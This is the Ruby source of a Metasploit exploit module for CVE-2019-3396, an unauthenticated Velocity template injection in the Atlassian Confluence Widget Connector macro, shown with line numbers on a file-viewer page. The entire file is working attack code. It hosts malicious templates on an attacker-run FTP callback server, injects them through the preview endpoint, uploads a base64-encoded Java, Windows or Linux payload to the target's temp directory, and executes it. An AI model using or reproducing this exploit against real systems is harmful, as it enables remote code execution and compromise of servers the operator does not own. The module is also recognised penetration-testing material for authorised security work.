CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = ExcellentRanking
8

9
  include Msf::Exploit::EXE
10
  include Msf::Exploit::FileDropper
11
  include Msf::Exploit::Remote::HttpClient
12
  include Msf::Exploit::Remote::FtpServer
13

14
  def initialize(info = {})
15
    super(
16
      update_info(
17
        info,
18
        'Name' => 'Atlassian Confluence Widget Connector Macro Velocity Template Injection',
19
        'Description' => %q{
20
          Widget Connector Macro is part of Atlassian Confluence Server and Data Center that
21
          allows embed online videos, slideshows, photostreams and more directly into page.
22
          A _template parameter can be used to inject remote Java code into a Velocity template,
23
          and gain code execution. Authentication is unrequired to exploit this vulnerability.
24
          By default, Java payload will be used because it is cross-platform, but you can also
25
          specify which native payload you want (Linux or Windows).
26

27
          Confluence before version 6.6.12, from version 6.7.0 before 6.12.3, from version
28
          6.13.0 before 6.13.3 and from version 6.14.0 before 6.14.2 are affected.
29

30
          This vulnerability was originally discovered by Daniil Dmitriev
31
          https://twitter.com/ddv_ua.
32
        },
33
        'License' => MSF_LICENSE,
34
        'Author' => [
35
          'Daniil Dmitriev', # Discovering vulnerability
36
          'Dmitry (rrock) Shchannikov' # Metasploit module
37
        ],
38
        'References' => [
39
          [ 'CVE', '2019-3396' ],
40
          [ 'URL', 'https://confluence.atlassian.com/doc/confluence-security-advisory-2019-03-20-966660264.html' ],
41
          [ 'URL', 'https://chybeta.github.io/2019/04/06/Analysis-for-%E3%80%90CVE-2019-3396%E3%80%91-SSTI-and-RCE-in-Confluence-Server-via-Widget-Connector/'],
42
          [ 'URL', 'https://paper.seebug.org/886/']
43
        ],
44
        'Targets' => [
45
          [ 'Java', { 'Platform' => 'java', 'Arch' => ARCH_JAVA }],
46
          [ 'Windows', { 'Platform' => 'win', 'Arch' => ARCH_X86 }],
47
          [ 'Linux', { 'Platform' => 'linux', 'Arch' => ARCH_X86 }]
48
        ],
49
        'DefaultOptions' => {
50
          'RPORT' => 8090,
51
          'SRVPORT' => 8021
52
        },
53
        'Privileged' => false,
54
        'DisclosureDate' => '2019-03-25',
55
        'DefaultTarget' => 0,
56
        'Stance' => Msf::Exploit::Stance::Aggressive,
57
        'Notes' => {
58
          'Stability' => [ CRASH_SAFE ],
59
          'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
60
          'Reliability' => [ REPEATABLE_SESSION ]
61
        }
62
      )
63
    )
64

65
    register_options(
66
      [
67
        OptAddress.new('SRVHOST', [true, 'Callback address for template loading']),
68
        OptString.new('TARGETURI', [true, 'The base to Confluence', '/']),
69
        OptString.new('TRIGGERURL', [
70
          true, 'Url to external video service to trigger vulnerability',
71
          'https://www.youtube.com/watch?v=kxopViU98Xo'
72
        ])
73
      ]
74
    )
75
  end
76

77
  # Handles ftp RETP command.
78
  #
79
  # @param ccs [Socket] Control connection socket.
80
  # @param arg [String] RETR argument.
81
  # @return [void]
82
  def on_client_command_retr(ccs, arg)
83
    vprint_status("FTP download request for #{arg}")
84
    conn = establish_data_connection(ccs)
85
    if !conn
86
      ccs.put("425 Can't build data connection\r\n")
87
      return
88
    end
89

90
    ccs.put("150 Opening BINARY mode data connection for #{arg}\r\n")
91
    case arg
92
    when /check\.vm$/
93
      conn.put(wrap(get_check_vm))
94
    when /javaprop\.vm$/
95
      conn.put(wrap(get_javaprop_vm))
96
    when /upload\.vm$/
97
      conn.put(wrap(get_upload_vm))
98
    when /exec\.vm$/
99
      conn.put(wrap(get_exec_vm))
100
    else
101
      conn.put(wrap(get_dummy_vm))
102
    end
103
    ccs.put("226 Transfer complete.\r\n")
104
    conn.close
105
  end
106

107
  # Handles ftp PASS command to suppress output.
108
  #
109
  # @param ccs [Socket] Control connection socket.
110
  # @param arg [String] PASS argument.
111
  # @return [void]
112
  def on_client_command_pass(ccs, arg)
113
    @state[ccs][:pass] = arg
114
    vprint_status("#{@state[ccs][:name]} LOGIN #{@state[ccs][:user]} / #{@state[ccs][:pass]}")
115
    ccs.put "230 Login OK\r\n"
116
  end
117

118
  # Handles ftp EPSV command to suppress output.
119
  #
120
  # @param ccs [Socket] Control connection socket.
121
  # @param arg [String] EPSV argument.
122
  # @return [void]
123
  def on_client_command_epsv(ccs, arg)
124
    vprint_status("#{@state[ccs][:name]} UNKNOWN 'EPSV #{arg}'")
125
    ccs.put("500 'EPSV #{arg}': command not understood.\r\n")
126
  end
127

128
  # Returns a upload template.
129
  #
130
  # @return [String]
131
  def get_upload_vm
132
    <<~EOF
133
      $i18n.getClass().forName('java.io.FileOutputStream').getConstructor($i18n.getClass().forName('java.lang.String')).newInstance('#{@fname}').write($i18n.getClass().forName('sun.misc.BASE64Decoder').getConstructor(null).newInstance(null).decodeBuffer('#{@b64}'))
134
    EOF
135
  end
136

137
  # Returns a command execution template.
138
  #
139
  # @return [String]
140
  def get_exec_vm
141
    <<~EOF
142
      $i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime', null).invoke(null, null).exec('#{@command}').waitFor()
143
    EOF
144
  end
145

146
  # Returns checking template.
147
  #
148
  # @return [String]
149
  def get_check_vm
150
    <<~EOF
151
      #{@check_text}
152
    EOF
153
  end
154

155
  # Returns Java's getting property template.
156
  #
157
  # @return [String]
158
  def get_javaprop_vm
159
    <<~EOF
160
      $i18n.getClass().forName('java.lang.System').getMethod('getProperty', $i18n.getClass().forName('java.lang.String')).invoke(null, '#{@prop}').toString()
161
    EOF
162
  end
163

164
  # Returns dummy template.
165
  #
166
  # @return [String]
167
  def get_dummy_vm
168
    <<~EOF
169
    EOF
170
  end
171

172
  # Checks the vulnerability.
173
  #
174
  # @return [Array] Check code
175
  def check
176
    checkcode = Exploit::CheckCode::Safe
177
    begin
178
      # Start the FTP service
179
      print_status('Starting the FTP server.')
180
      start_service
181

182
      @check_text = Rex::Text.rand_text_alpha(5..10)
183
      res = inject_template("ftp://#{srvhost}:#{srvport}/#{Rex::Text.rand_text_alpha(5)}check.vm")
184
      if res && res.body && res.body.include?(@check_text)
185
        checkcode = Exploit::CheckCode::Vulnerable
186
      end
187
    rescue Msf::Exploit::Failed => e
188
      vprint_error(e.message)
189
      checkcode = Exploit::CheckCode::Unknown
190
    end
191
    checkcode
192
  end
193

194
  # Injects Java code to the template.
195
  #
196
  # @param service_url [String] Address of template to injection.
197
  # @return [void]
198
  def inject_template(service_url, timeout = 20)
199
    uri = normalize_uri(target_uri.path, 'rest', 'tinymce', '1', 'macro', 'preview')
200

201
    res = send_request_cgi({
202
      'method' => 'POST',
203
      'uri' => uri,
204
      'headers' => {
205
        'Accept' => '*/*',
206
        'Origin' => full_uri(vhost_uri: true)
207
      },
208
      'ctype' => 'application/json; charset=UTF-8',
209
      'data' => {
210
        'contentId' => '1',
211
        'macro' => {
212
          'name' => 'widget',
213
          'body' => '',
214
          'params' => {
215
            'url' => datastore['TRIGGERURL'],
216
            '_template' => service_url
217
          }
218

219
        }
220
      }.to_json
221
    }, timeout)
222

223
    unless res
224
      unless service_url.include?('exec.vm')
225
        print_warning('Connection timed out in #inject_template')
226
      end
227
      return
228
    end
229

230
    if res.body.include? 'widget-error'
231
      print_error('Failed to inject and execute code:')
232
    else
233
      vprint_status('Server response:')
234
    end
235

236
    vprint_line(res.body)
237

238
    res
239
  end
240

241
  # Returns a system property for Java.
242
  #
243
  # @param prop [String] Name of the property to retrieve.
244
  # @return [Array] Array consisting of a result code (Integer) and, if the property could be obtained, the property (String).
245
  def get_java_property(prop)
246
    @prop = prop
247
    res = inject_template("ftp://#{srvhost}:#{srvport}/#{Rex::Text.rand_text_alpha(5)}javaprop.vm")
248
    if res && res.body
249
      if res.body.empty?
250
        return [2]
251
      else
252
        prop_to_return = clear_response(res.body)
253
        if prop_to_return.blank?
254
          return [2]
255
        else
256
          return [0, prop_to_return]
257
        end
258
      end
259
    end
260
    [1]
261
  end
262

263
  # Returns the target platform.
264
  #
265
  # @return [String]
266
  def get_target_platform
267
    return get_java_property('os.name')
268
  end
269

270
  # Checks if the target os/platform is compatible with the module target or not.
271
  #
272
  # @return [TrueClass] Compatible
273
  # @return [FalseClass] Not compatible
274
  def target_platform_compat?(target_platform)
275
    target.platform.names.each do |n|
276
      if n.downcase == 'java' || target_platform.downcase.include?(n.downcase)
277
        return true
278
      end
279
    end
280

281
    false
282
  end
283

284
  # Returns a temp path from the remote target.
285
  #
286
  # @return [String]
287
  def get_tmp_path
288
    return get_java_property('java.io.tmpdir')
289
  end
290

291
  # Returns the Java home path used by Confluence.
292
  #
293
  # @return [String]
294
  def get_java_home_path
295
    return get_java_property('java.home')
296
  end
297

298
  # Returns Java code that can be used to inject to the template in order to copy a file.
299
  #
300
  # @note The purpose of this method is to have a file that is not busy, so we can execute it.
301
  #       It is meant to be used with #get_write_file_code.
302
  #
303
  # @param fname [String] The file to copy
304
  # @param new_fname [String] The new file
305
  # @return [void]
306
  def get_dup_file_code(fname, new_fname)
307
    if fname =~ %r{^/[[:print:]]+}
308
      @command = "cp #{fname} #{new_fname}"
309
    else
310
      @command = "cmd.exe /C copy #{fname} #{new_fname}"
311
    end
312

313
    inject_template("ftp://#{srvhost}:#{srvport}/#{Rex::Text.rand_text_alpha(5)}exec.vm")
314
  end
315

316
  # Returns the normalized file path for payload.
317
  #
318
  # @return [String]
319
  def normalize_payload_fname(tmp_path, fname)
320
    # A quick way to check platform instead of actually grabbing os.name in Java system properties.
321
    if tmp_path =~ %r{^/[[:print:]]+}
322
      Rex::FileUtils.normalize_unix_path(tmp_path, fname)
323
    else
324
      Rex::FileUtils.normalize_win_path(tmp_path, fname)
325
    end
326
  end
327

328
  # Exploits the target in Java platform.
329
  #
330
  # @return [void]
331
  def exploit_as_java
332
    res_code, tmp_path = get_tmp_path
333

334
    unless res_code == 0
335
      fail_with(Failure::Unknown, 'Unable to get the temp path.')
336
    end
337

338
    @fname = normalize_payload_fname(tmp_path, "#{Rex::Text.rand_text_alpha(5)}.jar")
339
    @b64 = Rex::Text.encode_base64(payload.encoded_jar)
340
    @command = ''
341

342
    res_code, java_home = get_java_home_path
343

344
    if res_code == 0
345
      vprint_status("Found Java home path: #{java_home}")
346
    else
347
      fail_with(Failure::Unknown, 'Unable to find java home path on the remote machine.')
348
    end
349

350
    register_files_for_cleanup(@fname)
351

352
    if @fname =~ %r{^/[[:print:]]+}
353
      normalized_java_path = Rex::FileUtils.normalize_unix_path(java_home, '/bin/java')
354
      @command = %(#{normalized_java_path} -jar #{@fname})
355
    else
356
      normalized_java_path = Rex::FileUtils.normalize_win_path(java_home, '\\bin\\java.exe')
357
      @fname.gsub!(/Program Files/, 'PROGRA~1')
358
      @command = %(cmd.exe /C "#{normalized_java_path}" -jar #{@fname})
359
    end
360

361
    print_status("Attempting to upload #{@fname}")
362
    inject_template("ftp://#{srvhost}:#{srvport}/#{Rex::Text.rand_text_alpha(5)}upload.vm")
363

364
    print_status("Attempting to execute #{@fname}")
365
    inject_template("ftp://#{srvhost}:#{srvport}/#{Rex::Text.rand_text_alpha(5)}exec.vm", 5)
366
  end
367

368
  # Exploits the target in Windows platform.
369
  #
370
  # @return [void]
371
  def exploit_as_windows
372
    res_code, tmp_path = get_tmp_path
373

374
    unless res_code == 0
375
      fail_with(Failure::Unknown, 'Unable to get the temp path.')
376
    end
377

378
    @b64 = Rex::Text.encode_base64(generate_payload_exe(code: payload.encoded, arch: target.arch, platform: target.platform))
379
    @fname = normalize_payload_fname(tmp_path, "#{Rex::Text.rand_text_alpha(5)}.exe")
380
    new_fname = normalize_payload_fname(tmp_path, "#{Rex::Text.rand_text_alpha(5)}.exe")
381
    @fname.gsub!(/Program Files/, 'PROGRA~1')
382
    new_fname.gsub!(/Program Files/, 'PROGRA~1')
383
    register_files_for_cleanup(@fname, new_fname)
384

385
    print_status("Attempting to upload #{@fname}")
386
    inject_template("ftp://#{srvhost}:#{srvport}/#{Rex::Text.rand_text_alpha(5)}upload.vm")
387

388
    print_status("Attempting to copy payload to #{new_fname}")
389
    get_dup_file_code(@fname, new_fname)
390

391
    print_status("Attempting to execute #{new_fname}")
392
    @command = new_fname
393
    inject_template("ftp://#{srvhost}:#{srvport}/#{Rex::Text.rand_text_alpha(5)}exec.vm", 5)
394
  end
395

396
  # Exploits the target in Linux platform.
397
  #
398
  # @return [void]
399
  def exploit_as_linux
400
    res_code, tmp_path = get_tmp_path
401

402
    unless res_code == 0
403
      fail_with(Failure::Unknown, 'Unable to get the temp path.')
404
    end
405

406
    @b64 = Rex::Text.encode_base64(generate_payload_exe(code: payload.encoded, arch: target.arch, platform: target.platform))
407
    @fname = normalize_payload_fname(tmp_path, Rex::Text.rand_text_alpha(5))
408
    new_fname = normalize_payload_fname(tmp_path, Rex::Text.rand_text_alpha(6))
409
    register_files_for_cleanup(@fname, new_fname)
410

411
    print_status("Attempting to upload #{@fname}")
412
    inject_template("ftp://#{srvhost}:#{srvport}/#{Rex::Text.rand_text_alpha(5)}upload.vm")
413

414
    @command = "chmod +x #{@fname}"
415
    inject_template("ftp://#{srvhost}:#{srvport}/#{Rex::Text.rand_text_alpha(5)}exec.vm")
416

417
    print_status("Attempting to copy payload to #{new_fname}")
418
    get_dup_file_code(@fname, new_fname)
419

420
    print_status("Attempting to execute #{new_fname}")
421
    @command = new_fname
422
    inject_template("ftp://#{srvhost}:#{srvport}/#{Rex::Text.rand_text_alpha(5)}exec.vm", 5)
423
  end
424

425
  def exploit
426
    @wrap_marker = Rex::Text.rand_text_alpha(5..10)
427

428
    # Start the FTP service
429
    print_status('Starting the FTP server.')
430
    start_service
431

432
    res_code, target_platform = get_target_platform
433
    case res_code
434
    when 0
435
      print_status("Target being detected as: #{target_platform}")
436
    when 1
437
      fail_with(Failure::Unreachable, 'Target did not respond to OS check. Confirm RHOSTS and RPORT, then run "check".')
438
    when 2
439
      fail_with(Failure::NoTarget, 'Failed to obtain the target OS.')
440
    end
441

442
    unless target_platform_compat?(target_platform)
443
      fail_with(Failure::BadConfig, 'Selected module target does not match the actual target.')
444
    end
445

446
    case target.name.downcase
447
    when /java$/
448
      exploit_as_java
449
    when /windows$/
450
      exploit_as_windows
451
    when /linux$/
452
      exploit_as_linux
453
    end
454
  end
455

456
  # Wraps request.
457
  #
458
  # @return [String]
459
  def wrap(string)
460
    "#{@wrap_marker}\n#{string}#{@wrap_marker}\n"
461
  end
462

463
  # Returns unwrapped response.
464
  #
465
  # @return [String, nil]
466
  def clear_response(string)
467
    string.scan(/#{@wrap_marker}\n(.*)\n#{@wrap_marker}\n/m)&.flatten&.first
468
  end
469
end
470

471